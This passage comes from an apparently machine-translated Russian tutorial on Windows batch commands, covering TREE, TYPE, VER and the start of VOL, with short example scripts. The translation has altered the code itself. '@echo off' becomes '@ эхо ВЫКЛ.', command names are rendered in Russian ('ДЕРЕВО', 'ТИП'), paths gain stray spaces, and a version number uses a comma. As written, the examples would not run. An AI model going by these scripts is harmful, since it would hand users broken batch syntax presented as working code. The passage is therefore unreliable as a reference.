в этой папке с фильмами, он создаст дерево фильмов внутри этой папки, а также подкаталоги, в которых есть файл фильма и файл субтитров.
@ эхо ВЫКЛ.
ДЕРЕВО D: \ movies
Выход
Этот сценарий сгенерирует следующий вывод.
Нажмите здесь, чтобы вернуться к списку команд
ТИП
Пакетная команда TYPE
используется для отображения содержимого файла на консоли вывода.
Пример
@ эхо ВЫКЛ.
ТИП C: \ notes.txt
Пауза
Эта программа выведет на консоль все содержимое файла notes.txt
.
Нажмите здесь, чтобы вернуться к списку команд
ВЕР
Пакетная команда VER
отображает версию Windows или MS-DOS.
Пример
@ эхо ВЫКЛ.
VER
пауза
Выход
Microsoft Windows [Версия 10.0,14393]
Нажмите здесь, чтобы вернуться к списку команд
ТОМ
Пакетная команда VOL
отображает текущую метку тома Windows.